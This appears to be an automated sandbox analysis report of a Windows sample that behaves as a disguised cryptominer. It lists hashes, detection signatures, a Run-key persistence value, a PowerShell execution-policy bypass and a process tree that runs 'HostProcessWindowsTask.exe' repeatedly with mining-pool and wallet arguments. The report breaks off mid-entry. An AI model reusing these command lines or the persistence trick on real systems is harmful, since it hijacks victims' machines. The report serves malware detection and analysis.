041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171

Analysis

max time kernel
150s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 08:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Size 20.3MB
Sample260814-kqgdmsgj4t
SHA256 041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171
MD5 c5920661324ffa4e4589e8b7fd5cb0d0
SHA1 a4faba679848c5e5ac99f4dfa6db10136313826e
SHA512 cdd36268a24305e32d1f51d6da16ddf63b5e70a1b971e8361db5e58b93d88fc6cae33754c95fda8f14917e06f035706bd6d5e50fe3e4860ece288bea717948f6
SSDEEP 393216:ORLDX2JmjPbTddAYwB9jIulfD08OpGuN6mdUSCJYkwZ:AjwXEvbN9qJikwZ
TLSH
T1F72733A45E5C0988E437A03B43E9DE40D5273880ABF4B5C71B966F1FDD62ED01A353EA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution persistence upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
460	HostProcessWindowsTask.exe

Loads dropped DLL 14 IoCs

pid	Process
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
4844	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
4844	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\HostTask = "C:\\Users\\Admin\\AppData\\Local\\Temp\\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c58f-98.dat	upx
behavioral2/memory/460-227-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/5244-231-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/460-234-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1996-237-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1952-238-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4324-239-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6012-241-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/2600-242-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/3428-243-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4344-244-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1996-245-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/5244-246-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1156-247-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1952-249-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/2600-254-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4344-255-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/5540-259-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1156-257-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4464-258-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4324-256-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6012-264-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/3428-266-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/5416-267-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/2888-265-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6260-270-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4464-272-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6984-273-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6912-274-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/4244-275-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6380-277-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6364-278-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6464-282-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/2500-283-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7052-281-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6216-280-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6616-279-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1476-276-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7340-284-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6292-285-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7976-286-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8096-287-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7068-288-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7404-289-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7712-290-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/6100-291-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/2888-292-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7348-293-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/9176-295-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/1800-294-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8424-296-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8680-299-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8156-298-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8768-297-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/5756-300-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7544-301-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/248-303-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8004-304-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7264-306-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8952-307-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/3148-302-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/8384-308-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/7708-305-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx
behavioral2/memory/3896-309-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5732	powershell.exe
2792	powershell.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2144	cmd.exe
5028	cmd.exe
1364	cmd.exe
7732	cmd.exe
7744	cmd.exe
4056	cmd.exe
9492	cmd.exe
1720	cmd.exe
2040	cmd.exe
7132	cmd.exe
124	cmd.exe
8328	cmd.exe
9268	cmd.exe
1824	cmd.exe
4480	cmd.exe
2368	cmd.exe
4408	cmd.exe
7800	cmd.exe
1952	cmd.exe
8220	cmd.exe
8264	cmd.exe
8872	cmd.exe
4916	cmd.exe
2780	cmd.exe
5352	cmd.exe
2480	cmd.exe
7212	cmd.exe
1324	cmd.exe
4700	cmd.exe
1328	cmd.exe
3480	cmd.exe
7996	cmd.exe
7188	cmd.exe
6008	cmd.exe
1716	cmd.exe
2624	cmd.exe
1900	cmd.exe
8316	cmd.exe
3372	cmd.exe
4256	cmd.exe
1784	cmd.exe
1800	cmd.exe
3208	cmd.exe
7204	cmd.exe
4300	cmd.exe
4300	cmd.exe
3284	cmd.exe
9856	cmd.exe
4900	cmd.exe
8308	cmd.exe
4664	cmd.exe
7480	cmd.exe
2076	cmd.exe
6264	cmd.exe
5292	cmd.exe
4172	cmd.exe
6600	cmd.exe
4960	cmd.exe
6964	cmd.exe
4512	cmd.exe
6448	cmd.exe
5936	cmd.exe
6664	cmd.exe
5976	cmd.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
5732	powershell.exe
5732	powershell.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
5732	powershell.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Token: SeDebugPrivilege	5732	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 1368	4620	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	89
PID 1368 wrote to memory of 5732	1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	90
PID 1368 wrote to memory of 2144	1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	91
PID 1368 wrote to memory of 4288	1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	92
PID 2144 wrote to memory of 3224	2144	cmd.exe	96
PID 2144 wrote to memory of 460	2144	cmd.exe	98
PID 1368 wrote to memory of 5292	1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	100
PID 364 wrote to memory of 4844	364	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	102
PID 1368 wrote to memory of 1404	1368	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	103

C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
"C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  "C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5732
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\syko20om\syko20om.cmdline"
      4⤵
      PID:5356
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2466.tmp" "c:\Users\Admin\AppData\Local\Temp\syko20om\CSC9D5D963252FB44719BA56794794041EB.TMP"
        5⤵
        
        PID:5064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3224
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5272
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4308
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1328
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:484
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3540
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3372
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1248
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4924
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6164
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1784
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6448
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6540
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7156
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4812
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5936
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3128
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7272
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7204
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:52
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1800
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
